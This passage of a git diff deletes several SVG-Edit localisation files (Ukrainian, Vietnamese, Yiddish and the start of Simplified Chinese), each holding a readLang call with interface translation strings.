-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.uk.js b/public/svg-edit/editor/locale/lang.uk.js
deleted file mode 100644
index c909fb97..00000000
--- a/public/svg-edit/editor/locale/lang.uk.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "uk",
-	dir : "ltr",
-	common: {
-		"ok": "Зберегти",
-		"cancel": "Скасування",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Натисніть для зміни кольору заливки, Shift-Click змінити обвід",
-		"zoom_level": "Зміна масштабу",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Зміна кольору заливки",
-		"stroke_color": "Зміна кольору інсульт",
-		"stroke_style": "Зміна стилю інсульт тире",
-		"stroke_width": "Зміни ширина штриха",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Зміна кута повороту",
-		"blur": "Change gaussian blur value",
-		"opacity": "Зміна вибраного пункту непрозорості",
-		"circle_cx": "CX зміну кола координата",
-		"circle_cy": "Зміни гуртка CY координати",
-		"circle_r": "Зміна кола&#39;s радіус",
-		"ellipse_cx": "Зміни еліпса CX координати",
-		"ellipse_cy": "Зміни еліпса CY координати",
-		"ellipse_rx": "Х Зміни еліпса радіусом",
-		"ellipse_ry": "Зміни у еліпса радіусом",
-		"line_x1": "Зміни починає координати лінія х",
-		"line_x2": "Зміни за період, що закінчився лінія координати х",
-		"line_y1": "Зміни лінія починає Y координата",
-		"line_y2": "Зміна за період, що закінчився лінія Y координата",
-		"rect_height": "Зміни прямокутник висотою",
-		"rect_width": "Зміна ширини прямокутника",
-		"corner_radius": "Зміни прямокутник Corner Radius",
-		"image_width": "Зміни ширина зображення",
-		"image_height": "Зміна висоти зображення",
-		"image_url": "Змінити URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Зміна змісту тексту",
-		"font_family": "Зміни Сімейство шрифтів",
-		"font_size": "Змінити розмір шрифту",
-		"bold": "Товстий текст",
-		"italic": "Похилий текст"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Зміна кольору тла / непрозорість",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "За розміром змісту",
-		"fit_to_all": "За розміром весь вміст",
-		"fit_to_canvas": "Розмір полотна",
-		"fit_to_layer_content": "За розміром шар змісту",
-		"fit_to_sel": "Вибір розміру",
-		"align_relative_to": "Вирівняти по відношенню до ...",
-		"relativeTo": "в порівнянні з:",
-		"сторінка": "сторінка",
-		"largest_object": "найбільший об&#39;єкт",
-		"selected_objects": "обраними об&#39;єктами",
-		"smallest_object": "маленький об&#39;єкт",
-		"new_doc": "Нове зображення",
-		"open_doc": "Відкрити зображення",
-		"export_png": "Export as PNG",
-		"save_doc": "Зберегти малюнок",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Вирівняти по нижньому краю",
-		"align_center": "Вирівняти по центру",
-		"align_left": "По лівому краю",
-		"align_middle": "Вирівняти Близького",
-		"align_right": "По правому краю",
-		"align_top": "Вирівняти по верхньому краю",
-		"mode_select": "Виберіть інструмент",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Вільної руки Прямокутник",
-		"mode_ellipse": "Еліпс",
-		"mode_circle": "Коло",
-		"mode_fhellipse": "Вільної руки Еліпс",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Текст Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Скасувати",
-		"redo": "Повтор",
-		"tool_source": "Змінити вихідний",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Група елементів",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Елементи розгрупувати",
-		"docprops": "Властивості документа",
-		"imagelib": "Image Library",
-		"move_bottom": "Перемістити вниз",
-		"move_top": "Перемістити догори",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Зберегти",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Видалити шар",
-		"move_down": "Перемістити шар на",
-		"new": "Новий шар",
-		"rename": "Перейменувати Шар",
-		"move_up": "Переміщення шару до",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Виберіть зумовлений:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.vi.js b/public/svg-edit/editor/locale/lang.vi.js
deleted file mode 100644
index 8f8119d2..00000000
--- a/public/svg-edit/editor/locale/lang.vi.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "vi",
-	dir : "ltr",
-	common: {
-		"ok": "Lưu",
-		"cancel": "Hủy",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Nhấn vào đây để thay đổi đầy màu sắc, thay đổi nhấp chuột để thay đổi màu sắc đột quỵ",
-		"zoom_level": "Thay đổi mức độ phóng",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Thay đổi đầy màu sắc",
-		"stroke_color": "Thay đổi màu sắc đột quỵ",
-		"stroke_style": "Thay đổi phong cách đột quỵ dash",
-		"stroke_width": "Thay đổi chiều rộng đột quỵ",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Thay đổi góc xoay",
-		"blur": "Change gaussian blur value",
-		"opacity": "Thay đổi lựa chọn opacity mục",
-		"circle_cx": "Thay đổi hình tròn của cx phối hợp",
-		"circle_cy": "Thay đổi hình tròn của vi phối hợp",
-		"circle_r": "Thay đổi bán kính của hình tròn",
-		"ellipse_cx": "Thay đổi hình elip của cx phối hợp",
-		"ellipse_cy": "Thay đổi hình elip của vi phối hợp",
-		"ellipse_rx": "Thay đổi hình elip của x bán kính",
-		"ellipse_ry": "Y Thay đổi bán kính của hình ellipse",
-		"line_x1": "Thay đổi dòng của bắt đầu từ x phối hợp",
-		"line_x2": "Thay đổi dòng của x kết thúc sớm nhất phối hợp",
-		"line_y1": "Thay đổi dòng của bắt đầu từ y phối hợp",
-		"line_y2": "Thay đổi dòng của kết thúc y phối hợp",
-		"rect_height": "Thay đổi hình chữ nhật chiều cao",
-		"rect_width": "Thay đổi hình chữ nhật chiều rộng",
-		"corner_radius": "Thay đổi chữ nhật Corner Radius",
-		"image_width": "Thay đổi hình ảnh rộng",
-		"image_height": "Thay đổi hình ảnh chiều cao",
-		"image_url": "Thay đổi URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Thay đổi nội dung văn bản",
-		"font_family": "Thay đổi Font Gia đình",
-		"font_size": "Thay đổi cỡ chữ",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Thay đổi màu nền / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Phù hợp với nội dung",
-		"fit_to_all": "Phù hợp với tất cả nội dung",
-		"fit_to_canvas": "Phù hợp với vải",
-		"fit_to_layer_content": "Vào lớp phù hợp với nội dung",
-		"fit_to_sel": "Phù hợp để lựa chọn",
-		"align_relative_to": "Căn liên quan đến ...",
-		"relativeTo": "liên quan đến:",
-		"Sửa": "Sửa",
-		"largest_object": "lớn nhất đối tượng",
-		"selected_objects": "bầu các đối tượng",
-		"smallest_object": "nhỏ đối tượng",
-		"new_doc": "Hình mới",
-		"open_doc": "Mở Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Căn giữa",
-		"align_left": "Căn còn lại",
-		"align_middle": "Căn Trung",
-		"align_right": "Căn phải",
-		"align_top": "Căn Top",
-		"mode_select": "Chọn Công cụ",
-		"mode_fhpath": "Bút chì Công cụ",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Việt-Hand Hình chữ nhật",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Việt-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Hình Công cụ",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Hoàn tác",
-		"redo": "Làm lại",
-		"tool_source": "Sửa Nguồn",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Nhóm Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Chuyển đến đáy",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Lưu",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Xoá Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Đổi tên Layer",
-		"move_up": "Di chuyển Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Chọn định sẵn:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.yi.js b/public/svg-edit/editor/locale/lang.yi.js
deleted file mode 100644
index 2233da0f..00000000
--- a/public/svg-edit/editor/locale/lang.yi.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "yi",
-	dir : "ltr",
-	common: {
-		"ok": "היט",
-		"cancel": "באָטל מאַכן",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "גיט צו ענדערן אָנעסן קאָליר, יבעררוק-גיט צו טוישן מאַך קאָליר",
-		"zoom_level": "ענדערן פארגרעסער הייך",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "ענדערן אָנעסן קאָליר",
-		"stroke_color": "טוישן מאַך קאָליר",
-		"stroke_style": "טוישן מאַך לאָך מאָדע",
-		"stroke_width": "טוישן מאַך ברייט",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "ענדערן ראָוטיישאַן ווינקל",
-		"blur": "Change gaussian blur value",
-		"opacity": "ענדערן סעלעקטעד נומער אָופּאַסאַטי",
-		"circle_cx": "ענדערן קרייז ס קקס קאָואָרדאַנאַט",
-		"circle_cy": "ענדערן קרייז ס סי קאָואָרדאַנאַט",
-		"circle_r": "ענדערן קרייז ס ראַדיוס",
-		"ellipse_cx": "ענדערן יליפּס ס קקס קאָואָרדאַנאַט",
-		"ellipse_cy": "ענדערן יליפּס ס סי קאָואָרדאַנאַט",
-		"ellipse_rx": "ענדערן יליפּס ס &#39;קס ראַדיוס",
-		"ellipse_ry": "ענדערן יליפּס ס &#39;י ראַדיוס",
-		"line_x1": "טוישן ליניע ס &#39;סטאַרטינג קס קאָואָרדאַנאַט",
-		"line_x2": "טוישן ליניע ס &#39;סאָף קס קאָואָרדאַנאַט",
-		"line_y1": "טוישן ליניע ס &#39;סטאַרטינג י קאָואָרדאַנאַט",
-		"line_y2": "טוישן ליניע ס &#39;סאָף י קאָואָרדאַנאַט",
-		"rect_height": "ענדערן גראָדעק הייך",
-		"rect_width": "ענדערן גראָדעק ברייט",
-		"corner_radius": "ענדערן רעקטאַנגלע קאָרנער ראַדיוס",
-		"image_width": "טוישן בילד ברייט",
-		"image_height": "טוישן בילד הייך",
-		"image_url": "ענדערן URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "ענדערן טעקסט אינהאַלט",
-		"font_family": "ענדערן פאָנט פאַמילי",
-		"font_size": "בייטן פאָנט גרייס",
-		"bold": "דרייסט טעקסט",
-		"italic": "יטאַליק טעקסט"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "ענדערן הינטערגרונט פאַרב / אָופּאַסאַטי",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "פּאַסיק צו אינהאַלט",
-		"fit_to_all": "פּאַסיק צו אַלע אינהאַלט",
-		"fit_to_canvas": "פּאַסיק צו לייוונט",
-		"fit_to_layer_content": "פּאַסיק צו שיכטע אינהאַלט",
-		"fit_to_sel": "פּאַסיק צו אָפּקלייב",
-		"align_relative_to": "יינרייען קאָרעוו צו ...",
-		"relativeTo": "קאָרעוו צו:",
-		"בלאַט": "בלאַט",
-		"largest_object": "לאַרדזשאַסט קעגן",
-		"selected_objects": "עלעקטעד אַבדזשעקץ",
-		"smallest_object": "סמאָלאַסט קעגן",
-		"new_doc": "ניו בילד",
-		"open_doc": "Open בילד",
-		"export_png": "Export as PNG",
-		"save_doc": "היט בילד",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "יינרייען באָטטאָם",
-		"align_center": "יינרייען צענטער",
-		"align_left": "יינרייען לעפט",
-		"align_middle": "יינרייען מיטל",
-		"align_right": "יינרייען רעכט",
-		"align_top": "יינרייען Top",
-		"mode_select": "סעלעקטירן טול",
-		"mode_fhpath": "בלייער טול",
-		"mode_line": "שורה טול",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-הענט רעקטאַנגלע",
-		"mode_ellipse": "עלליפּסע",
-		"mode_circle": "קאַראַהאָד",
-		"mode_fhellipse": "Free-הענט עלליפּסע",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "טעקסט טול",
-		"mode_image": "בילד טול",
-		"mode_zoom": "פארגרעסער טול",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "ופמאַכן",
-		"redo": "רעדאָ",
-		"tool_source": "רעדאַקטירן סאָרס",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "גרופּע עלעמענץ",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "ונגראָופּ עלעמענץ",
-		"docprops": "דאָקומענט פּראָפּערטיעס",
-		"imagelib": "Image Library",
-		"move_bottom": "מאַך צו באָטטאָם",
-		"move_top": "באַוועגן צו Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "היט",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "ויסמעקן לייַער",
-		"move_down": "קער לייַער דאָוון",
-		"new": "ניו לייַער",
-		"rename": "רענאַמע לייַער",
-		"move_up": "באַוועגן לייַער אַרויף",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "סעלעקטירן פּרעדעפינעד:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.zh-CN.js b/public/svg-edit/editor/locale/lang.zh-CN.js
deleted file mode 100644
index 86ad5e65..00000000
--- a/public/svg-edit/editor/locale/lang.zh-CN.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "zh-CN",
-	dir : "ltr",
-	common: {
-		"ok": "保存",
-		"cancel": "取消",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "点击更改填充颜色，按住Shift键单击更改颜色中风",
-		"zoom_level": "更改缩放级别",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "更改填充颜色",
-		"stroke_color": "中风的颜色变化",
-		"stroke_style": "更改行程冲刺风格",
-		"stroke_width": "笔划宽度的变化",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
